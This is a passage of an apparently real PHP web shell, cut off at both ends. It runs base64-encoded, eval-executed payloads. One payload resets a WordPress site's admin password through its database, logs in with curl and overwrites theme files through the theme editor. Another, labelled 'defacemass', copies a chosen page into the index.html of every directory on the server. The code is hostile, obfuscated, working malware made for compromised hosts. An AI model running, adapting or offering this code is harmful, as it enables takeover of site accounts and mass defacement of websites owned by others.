zd29yZCk7DQplY2hvKCI8YnI+Iik7DQplY2hvKCRkYm5hbWUpOw0KZWNobygiPGJyPiIpOw0KZWNobygkcHJlZml4KTsNCmVjaG8oIjxicj4iKTsNCiovDQoNCmlmICgkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10pDQp7DQokaD0iPD8gZWNobyhzdHJpcHNsYXNoZXMoYmFzZTY0X2RlY29kZSgnIi51cmxlbmNvZGUoYmFzZTY0X2VuY29kZShzdHJfcmVwbGFjZSgiJyIsIiciLCgkX1BPU1RbJ2NvZGUnXSkpKSkuIicpKSk7IGV4aXQ7ID8+IjsNCiAgICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoImxvY2FsaG9zdCIsJHVzZXJuYW1lLCRwYXNzd29yZCkgOw0KCSAgaWYgKCRsaW5rKSB7DQogICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwkbGluaykgOw0KCQkgJHJlcTEgPW15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnYWRtaW4nLGB1c2VyX3Bhc3NgID0gJyQxJDQyUkVneFNSJC50TFY0UFNiUW1DS3Npc3lDU3locS4nIFdIRVJFIGB3cF91c2Vyc2AuYElEYCA9MSBMSU1JVCAxIDsiKTsNCmVjaG8oIjxicj5bK10gQ2hhbmdpbmcgYWRtaW4gcGFzc3dvcmQgdG8gMTIzNDU2Nzg5Iik7CQ0KCSRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJvcHRpb25zYCBXSEVSRSBvcHRpb25fbmFtZT0naG9tZSciKTsNCgkgJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiRzaXRlX3VybD0kZGF0YVsib3B0aW9uX3ZhbHVlIl07DQoJIA0KCSAJIGVjaG8oIjxicj4iKTsNCgkgZWNobygkZGF0YVsib3B0aW9uX3ZhbHVlIl0pOw0KCSB9DQogICAgICAkdXNlcmFnZW50PSJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjBiOyBXaW5kb3dzIE5UIDUuMTsgLk5FVCBDTFIgMS4xLjQzMjI7IEFsZXhhIFRvb2xiYXI7IC5ORVQgQ0xSIDIuMC41MDcyNykiOw0KDQoNCg0KCSAkdXJsMj0kc2l0ZV91cmwuIi93cC1sb2dpbi5waHAiOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9YWRtaW4mcHdkPTEyMzQ1Njc4OSZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTsNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsgDQoNCg0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsImFkbWluIik7DQoNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQplY2hvKCI8YnI+Wy1dIExvZ2luIEVycm9yIik7DQpleGl0Ow0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+WytdIExvZ2luIFN1Y2Nlc3NmdWwiKTsNCn0NCiAgIA0KZWNobygiPGJyPlsqXSBUaGVtZSBlZGl0b3IgLi4uIik7DQoJICR1cmwyPSRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHAiOw0KDQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCg0KDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7IA0KICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsgDQoNCg0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQoNCiRhcj1leHBsb2RlKCAnPGxpPjxhIGhyZWY9InRoZW1lLWVkaXRvci5waHA/ZmlsZT0nLCAkYnVmZmVyKTsNCiAgICAgZm9yKCR2aT0wOyR2aSA8IGNvdW50KCRhcik7JHZpKyspDQogICAgIHsNCglpZihzdWJzdHJfY291bnQoJGFyWyR2aV0sIihpbmRleC5waHApIikgIT0gMCl7DQokdGhlbWU9ZW50cmUydjIoJGFyWyR2aV0sJy90aGVtZXMnLCciPicpOw0KCS8vCWVjaG8oZW50cmUydjIoJGFyWyR2aV0sJy90aGVtZXMnLCciPicpKTsNCn0NCn0NCg0KaWYoJHRoZW1lKSB7DQplY2hvKCI8YnI+WytdIGluZGV4LnBocCBmaWxlIGZvdW5kZWQgaW4gVGhlbWUgRWRpdG9yIik7DQoNCn0NCmVsc2Ugew0KZWNobygiPGJyPlstXSBpbmRleC5waHAgTm90IGZvdW5kIGluIFRoZW1lIEVkaXRvciIpOw0KZXhpdDsNCn0NCmVjaG8oIjxicj5bKl0gVXBkYXRpbmcgSW5kZXgucGhwIC4uLi4uIik7DQogICANCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cXA0KJHRoZW1lPXN0cl9yZXBsYWNlKCImYW1wOyIsIiYiLCR0aGVtZSk7DQoNCiAgJHVybDI9dHJpbSgkc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwP2ZpbGU9L3RoZW1lcyIuJHRoZW1lKTsNCiANCg0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQoNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyANCg0KDQokYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOw0KLy9lY2hvKCRidWZmZXIwKTsNCg0KJF93cG5vbmNlPWVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2UiIG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOw0KJF9maWxlPWVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOw0KDQoNCgkgJHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7DQoNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIm5ld2NvbnRlbnQ9Ii4kaC4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJl93cG5vbmNlPSIuJF93cG5vbmNlLiImc3VibWl0PVVwZGF0ZSBGaWxlIik7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7IA0KDQoNCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KLy9lY2hvKCRidWZmZXIpOw0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCI+Jyk7DQoNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQplY2hvKCI8YnI+Wy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvciIpOw0KZXhpdDsNCn0NCmVsc2Ugew0KZWNobygiPGJyPlsrXSBJbmRleC5waHAgVXBkYXRlZCBTdWNjZXNzZnVseSIpOw0KfQ0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokYXI9ZXhwbG9kZSggJzxsaT48YSBocmVmPSJ0aGVtZS1lZGl0b3IucGhwP2ZpbGU9JywgJGJ1ZmZlcik7DQogICAgIGZvcigkdmk9MDskdmkgPCBjb3VudCgkYXIpOyR2aSsrKQ0KICAgICB7DQoJaWYoc3Vic3RyX2NvdW50KCRhclskdmldLCIoaG9tZS5waHApIikgIT0gMCl7DQokdGhlbWU9ZW50cmUydjIoJGFyWyR2aV0sJy90aGVtZXMnLCciPicpOw0KCS8vCWVjaG8oZW50cmUydjIoJGFyWyR2aV0sJy90aGVtZXMnLCciPicpKTsNCn0NCn0NCg0KaWYoJHRoZW1lKSB7DQplY2hvKCI8YnI+WytdIGhvbWUucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3IiKTsNCg0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+Wy1dIGhvbWUucGhwIE5vdCBmb3VuZCBpbiBUaGVtZSBFZGl0b3IiKTsNCmV4aXQ7DQp9DQplY2hvKCI8YnI+WypdIFVwZGF0aW5nIGhvbWUucGhwIC4uLi4uIik7DQogICANCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cXA0KJHRoZW1lPXN0cl9yZXBsYWNlKCImYW1wOyIsIiYiLCR0aGVtZSk7DQoNCiAgJHVybDI9dHJpbSgkc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwP2ZpbGU9L3RoZW1lcyIuJHRoZW1lKTsNCiANCg0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQoNCg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7IA0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyANCg0KDQokYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOw0KLy9lY2hvKCRidWZmZXIwKTsNCg0KJF93cG5vbmNlPWVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2UiIG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOw0KJF9maWxlPWVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOw0KDQoNCgkgJHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7DQoNCiRjaCA9IGN1cmxfaW5pdCgpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIm5ld2NvbnRlbnQ9Ii4kaC4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJl93cG5vbmNlPSIuJF93cG5vbmNlLiImc3VibWl0PVVwZGF0ZSBGaWxlIik7DQoNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7IA0KDQoNCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KLy9lY2hvKCRidWZmZXIpOw0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCI+Jyk7DQoNCmlmKCRwb3MgPT09IGZhbHNlKSB7DQplY2hvKCI8YnI+Wy1dIFVwZGF0aW5nIGhvbWUucGhwIEVycm9yIik7DQpleGl0Ow0KfQ0KZWxzZSB7DQplY2hvKCI8YnI+WytdIGhvbWUucGhwIFVwZGF0ZWQgU3VjY2Vzc2Z1bHkiKTsNCn0NCg0KfSANCg0KIA0KZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4pDQoNCnsNCg0KJGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOw0KJGFyMT1leHBsb2RlKCRtYXJxdWV1ckZpbkxpZW4sICRhcjBbMV0pOw0KJGFyPXRyaW0oJGFyMVswXSk7DQpyZXR1cm4gJGFyOw0KfQ0KDQo/Pg0KPGNlbnRlcj4NCjxmb250IGNvbG9yPSJ3aGl0ZSIgc2l6ZT0nKzInPjwvZm9udD48aDEgY2xhc3M9ImsybGwzM2QyIiBzaXplPScrMic+IFdvcmRQcmVzcyBJTkRlWCBDaGFOZ2VSIDwvZm9udD48Zm9udCBjb2xvcj0id2hpdGUiIHNpemU9JysyJz48L2gxPjxicj4NCjxoMyBjbGFzcz0iazJsbDMzZDIiPkxpbmsgb2YgdGhlIC93cC1jb25maWcucGhwIGZpbGUgb2YgdGhlIHRhcmdldCB+IDwvaDM+DQo8YnI+DQo8Rk9STSBhY3Rpb249IiIgIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPg0KPGJyPg0KIDxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZmlsZSIgdmFsdWU9IiI+DQo8YnI+DQo8YnI+DQpZb3VyIEluZGV4IFNvdXJjZSA8YnI+DQo8dGV4dGFyZWEgcm93cz0iMjAiIGNvbHM9IjUwIiBzdHlsZT0iYmFja2dyb3VuZDonIzAwMDAnIj48L3RleHRhcmVhPg0KPGJyPg0KPElOUFVUIGNsYXNzPXN1Ym1pdCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiIG5hbWU9IlN1Ym1pdCI+DQo8L0ZPUk0+DQo8aHI+DQo8Y2VudGVyPiA8Zm9udCBjb2xvcj0iI0ZGRkY2RkYiIHNpemU9JysxJz4gWE1pUmlDYUwgVmlSdXN4IDwvZm9udD48YnI+PGJyPiA8Y2VudGVyPg=='));
  383. exit;
  384. }
  385. elseif(isset($_GET['x']) && $_GET['x'] == 'defacemass'){
  386. eval (base64_decode('PGh0bWwgeG1sbnM6dj0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTp2bWwiIHhtbG5zOm89InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSI+DQoNCjxoZWFkPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KZGl2LmVuZA0Kew0KICAgIHdpZHRoOjEwMCU7DQogICAgYmFja2dyb3VuZDojMjIyOw0KfQ0KDQoqIHsNCiAgICBwYWRkaW5nOjA7DQogICAgbWFyZ2luOjA7DQp9DQoNCmRpdi5lbmQgKg0Kew0KICAgIGZvbnQtc2l6ZTpzbWFsbDsNCn0NCg0KPC9zdHlsZT4NCjx0aXRsZT5NYXNzIERlZmFjZXIgU2VydmVyIEZvbGRlcjwvdGl0bGU+DQo8L2hlYWQ+DQoNCjxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMUYxRjFGIj4NCg0KPGJvZHkgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICMxRjFGMUYiPg0KDQo8Y2VudGVyPg0KPHN0eWxlPg0KYm9keSB7IGNvbG9yOiAjRkZDQzAwOw0KfQ0KLnN0eWxlMyB7DQoJZm9udC1zaXplOiA0MHB0Ow0KfQ0KLnN0eWxlMzEgew0KCXRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5zdHlsZTMyIHsNCglmb250LWZhbWlseTogIkJlbGwgTVQiOw0KfQ0KLnN0eWxlMzMgew0KCWNvbG9yOiAjRkY2MDAwOw0KfQ0KLnN0eWxlMzkgew0KCWZvbnQtc2l6ZTogNjBwdDsNCn0NCi5zdHlsZTQxIHsNCglmb250LXNpemU6IHh4LWxhcmdlOw0KfQ0KLnN0eWxlNDIgew0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KCWZvbnQtc2l6ZTogeC1sYXJnZTsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQo8cCBjbGFzcz0ic3R5bGUzIj4NCg0KPHNwYW4gPHVsPg0KDQoJPHNwYW4gY2xhc3M9InN0eWxlMzIiPg0KCTxzcGFuIGNsYXNzPSJzdHlsZTM5Ij4NCjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyIgY2xhc3M9InN0eWxlMzMiPg0KCTxmb250IGNsYXNzPSJoayIgc3R5bGU9InRleHQtc2hhZG93OiAycHggMnB4IDNweCByZ2IoMCwgMCwgMCk7Ij5NYXNzIERlZmFjZXIgDQpTZXJ2ZXI8L2ZvbnQ+PC9zcGFuPjwvc3Bhbj48L3NwYW4+DQoJPC9zcGFuPjwvcD48YnI+DQo8c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDcwMDsiIGNsYXNzPSJzdHlsZTMzIj4NCgk8Zm9udCBjbGFzcz0iaGsiIHN0eWxlPSJ0ZXh0LXNoYWRvdzogMnB4IDJweCAzcHggcmdiKDAsIDAsIDApOyI+PGJyPg0KPGJyPg0KPC9jZW50ZXI+DQo8ZGl2IGNsYXNzPSJzdHlsZTMxIj4NCjxodG1sPg0KPHN0eWxlPg0KYm9keXttYXJnaW46MHB4O2ZvbnQtc3R5bGU6bm9ybWFsO2ZvbnQtc2l6ZToxMHB4O2NvbG9yOiNGRkZGRkY7Zm9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDtiYWNrZ3JvdW5kLWNvbG9yOiMzYTNhM2E7c2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMzMDMwMzA7c2Nyb2xsYmFyLWhpZ2hsaWdodC1jb2xvcjogIzVkNWQ1ZDtzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTIxMjEyO3Njcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjM2EzYTNhO3Njcm9sbGJhci1hcnJvdy1jb2xvcjogIzlkOWQ5ZDtzY3JvbGxiYXItdHJhY2stY29sb3I6ICMzYTNhM2E7c2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMzYTNhM2E7fQ0KaW5wdXQsDQoua2JydG0sc2VsZWN0e2JhY2tncm91bmQ6IzMwMzAzMDtjb2xvcjojRkZGRkZGO2ZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7Zm9udC1zaXplOjEwcHg7dmVydGljYWwtYWxpZ246bWlkZGxlOyBoZWlnaHQ6MTg7IGJvcmRlci1sZWZ0OjFweCBzb2xpZCAjNWQ1ZDVkOyBib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7IGJvcmRlci10b3A6MXB4IHNvbGlkICM1ZDVkNWQ7fQ0KYnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM2NjY2NjY7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fQ0KYm9keSx0ZCx0aCB7IGZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBjb2xvcjogI2Q5ZDlkOTsgZm9udC1zaXplOiAxMXB4O31ib2R5IHsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDt9ICANCi5zdHlsZTQ1IHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KfQ0KPC9zdHlsZT4NCjw/cGhwDQovKg0KU2NyaXB0OiBNYXNzIERlZmFjZSBTY3JpcHQNCiovDQplY2hvICI8Y2VudGVyPjx0ZXh0YXJlYSByb3dzPScxMCcgY29scz0nMTAwJz4iOw0KJGRlZmFjZXVybCA9ICRfUE9TVFsnbWFzc2RlZmFjZXVybCddOw0KJGRpciA9ICRfUE9TVFsnbWFzc2RlZmFjZWRpciddOw0KZWNobyAkZGlyLiJcbiI7DQogDQppZiAoaXNfZGlyKCRkaXIpKSB7DQogICAgaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCiAgICAgICAgd2hpbGUgKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZihmaWxldHlwZSgkZGlyLiRmaWxlKT09ImRpciIpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbmV3ZmlsZT0kZGlyLiRmaWxlLiIvaW5kZXguaHRtbCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJG5ld2ZpbGUuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFjb3B5KCRkZWZhY2V1cmwsICRuZXdmaWxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gImZhaWxlZCB0byBjb3B5ICRmaWxlLi4uXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgY2xvc2VkaXIoJGRoKTsNCiAgICB9DQp9DQplY2hvICI8L3RleHRhcmVhPjwvY2VudGVyPiI7DQo/Pg0KDQoNCjx0ZCBhbGlnbj1yaWdodD5NYXNzIERlZmFjZW1lbnQ6PC90ZD48YnI+DQoJPC9kaXY+DQo8Zm9ybSBhY3Rpb249Jzw/cGhwIGJhc2VuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKTsgPz4nIG1ldGhvZD0ncG9zdCc+DQo8ZGl2IGNsYXNzPSJzdHlsZTMxIj4NClsrXSBNYWluIERpcmVjdG9yeTogPGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd3aWR0aDogMjUwcHgnIHZhbHVlPSc8P3BocCAgZWNobyBnZXRjd2QoKSAuICIvIjsgPz4nIG5hbWU9J21hc3NkZWZhY2VkaXInPg0KWytdIERlZmFjZW1lbnQgVXJsOiA8aW5wdXQgdHlwZT0ndGV4dCcgc3R5bGU9J3dpZHRoOiAyNTBweCcgbmFtZT0nbWFzc2RlZmFjZXVybCc+DQo8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdleGVjbWFzc2RlZmFjZScgdmFsdWU9J0V4ZWN1dGUnPjwvZGl2Pg0KCTwvZm9ybT48L3RkPg0KIA0KIA0KDQo8YnI+PGJyPjxicj4NCg0KDQoNCjxicj4NCgk8YnI+DQoJPGJyPg0KCTxicj4NCgk8YnI+DQoJPGJyPg0KDQo8ZGl2IGNsYXNzPSJlbmQiPg0KPHAgYWxpZ249ImNlbnRlciIgY2xhc3M9InN0eWxlNDUiPjxiPiZuYnNwOzwvYj48YnIgLz4NCjwvcD4NCjx0YWJsZSBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgcmdiKDIxOCwgMjE4LCAyMTgpOyIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IiMwMDAwMDAiIGhlaWdodD0iJSI+DQoJPHRyPg0KCQk8dGQ+PGNlbnRlciBjbGFzcz0ic3R5bGUzMSI+PGZvbnQgc2l6ZT0iNCIgY29sb3I9IndoaXRlIiBmYWNlPSJ0YWhvbWEiPg0KCQk8Yj5bIDxzcGFuIGNsYXNzPSJzdHlsZTI3Ij4mbmJzcDs8Zm9udCBzaXplPSI1IiBjb2xvcj0icmVkIj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IDcwMDsgZmlsdGVyOiBibHVyKGFkZD0xLCBkaXJlY3Rpb249MjcwLCBzdHJlbmd0aD0zMCkiPjxmb250IGNsYXNzPSJ3aGl0ZWdsb3ciIGZhY2U9InRhaG9tYSI+PHNwYW4gPHVsPSIiPjxmb250IGNvbG9yPSIjODA4MDgwIiBmYWNlPSJUYWhvbWEiPjxzcGFuIDx1bD0iIiBsYW5nPSJlbi11cyI+PGZvbnQgc2l6ZT0iNCIgY29sb3I9IndoaXRlIiBmYWNlPSJ0YWhvbWEiPjxzcGFuIGNsYXNzPSJzdHlsZTQxIj5Ub29sczwvc3Bhbj48c3BhbiBjbGFzcz0ic3R5bGUyNSI+PGZvbnQgY29sb3I9IkdyZWVuIj48Zm9udCBjbGFzcz0ic3R5bGUyNiIgc2l6ZT0iLTIiIGNvbG9yPSJncmF5Ij48c3BhbiBjbGFzcz0ic3R5bGUyMSI+PHN0cm9uZz4NCgkJPGZvbnQgc2l6ZT0iNCIgY29sb3I9IndoaXRlIiBmYWNlPSJ0YWhvbWEiPk1hc3MgRGVmYWNlIHw8L2ZvbnQ+PC9zdHJvbmc+PC9zcGFuPjwvZm9udD48L2ZvbnQ+PC9zcGFuPjwvZm9udD4gDQoJCUNvcHlyaWdodCAvIDxmb250IGNvbG9yPSIjRkZGRkZGIiBmYWNlPSJUYWhvbWEiPjIwMTMNCgkJPGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZTsgIiBocmVmPSJodHRwOi8vd3d3LnpvbmUtaC5jb20vYXJjaGl2ZS9ub3RpZmllcj1BTC5NYVglMjBIYUNrRXIiPg0KCQk8Zm9udCBjb2xvcj0iI0ZGRkZGRiI+QUwuTWFYIEhhQ2tFciA8L2ZvbnQ+PC9hPjwvZm9udD48L3NwYW4+DQoJCTxmb250IGNvbG9yPSIjMDAwMDAwIj4mbmJzcDs8L2ZvbnQ+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9zcGFuPjwvZm9udD48L3NwYW4+Jm5ic3A7XTxzcGF